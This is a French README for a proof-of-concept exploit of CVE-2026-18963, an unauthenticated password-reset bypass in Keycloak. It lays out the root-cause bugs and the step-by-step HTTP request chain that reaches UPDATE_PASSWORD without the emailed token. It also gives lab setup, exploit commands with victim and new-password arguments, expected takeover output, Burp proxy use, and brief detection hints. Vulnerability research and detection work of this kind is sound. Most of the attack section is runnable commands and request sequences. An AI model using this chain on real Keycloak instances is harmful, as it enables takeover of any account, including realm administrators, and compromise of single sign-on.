
Exploit de preuve de concept pour CVE-2026-18963, un contournement critique de la réinitialisation des identifiants Keycloak permettant la prise de contrôle de comptes sans authentification. Inclut la configuration d'un laboratoire, des recommandations de détection et des étapes de remédiation pour des tests autorisés.
Prise de contrôle de compte non authentifiée dans le flux de réinitialisation des identifiants de Keycloak. Un attaquant qui connaît uniquement un nom d'utilisateur/e-mail peut réinitialiser le mot de passe de n'importe quel utilisateur — y compris les administrateurs — sans jamais recevoir l'e-mail de vérification.
Cette preuve de concept est publiée strictement à des fins éducatives, de recherche défensive, d'ingénierie de détection et de tests de sécurité autorisés.
Consultez DISCLAIMER.md pour la déclaration complète.
| CVE | CVE-2026-18963 |
| Gravité | Critique — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Faiblesse | CWE-640 — Mécanisme de récupération de mot de passe faible |
| Affecté | Keycloak < 26.7.2 (amont). Les flux de builds RH également corrigés via les bundles 26.6.6 / 26.4.15 |
| Corrigé | Keycloak 26.7.2 (PR #51844) |
| Préconditions | Forgot password (réinitialisation des identifiants) activé sur le realm — la valeur par défaut |
| Impact | Prise de contrôle complète de tout compte utilisateur (y compris les administrateurs de realm) → compromission de l'IdP + accès SSO latéral |
Le flux de réinitialisation de mot de passe (reset-credentials) vous oblige normalement à cliquer sur un lien
envoyé par e-mail au propriétaire du compte avant de pouvoir définir un nouveau mot de passe. Deux défauts permettent à un
attaquant de contourner entièrement cette vérification :
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sans la délimiter à l'ID
d'exécution. Le fait de rentrer dans le flux laisse la session d'authentification dans un
état confus/obsolète.ResetCredentialEmail.action() appelle
context.success() sans vérifier ACTION_TOKEN_USER_ID (c'est-à-dire sans
confirmer que le jeton d'action envoyé par e-mail a réellement été consommé).Leur enchaînement fait passer la session d'authentification directement à l'étape
UPDATE_PASSWORD pour un utilisateur arbitraire, sans aucun e-mail requis.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
Voir docs/ROOTCAUSE.md pour le diff de patch annoté.
Vous avez besoin de Docker et de Python 3 avec requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Sortie attendue :
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Puis connectez-vous en tant que victim / Pwned-2026! pour confirmer la prise de contrôle.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Chaque réponse HTTP est écrite dans ./dump/ pour inspection.
Keycloak utilise déjà 8080, donc configurez le listener de Burp sur un autre port (par exemple 8081) :
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
La chaîne de requêtes brute pour Burp Repeater se trouve dans
requests/burp-chain.txt.
Recherchez un changement de mot de passe qui n'a pas été précédé d'une vérification par e-mail dans la même session d'authentification :
UPDATE_PASSWORD sans VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN préalable pour cette session.reset-credentials portant tryAnotherWay=on.login-actions/reset-credentials pour le même tab_id.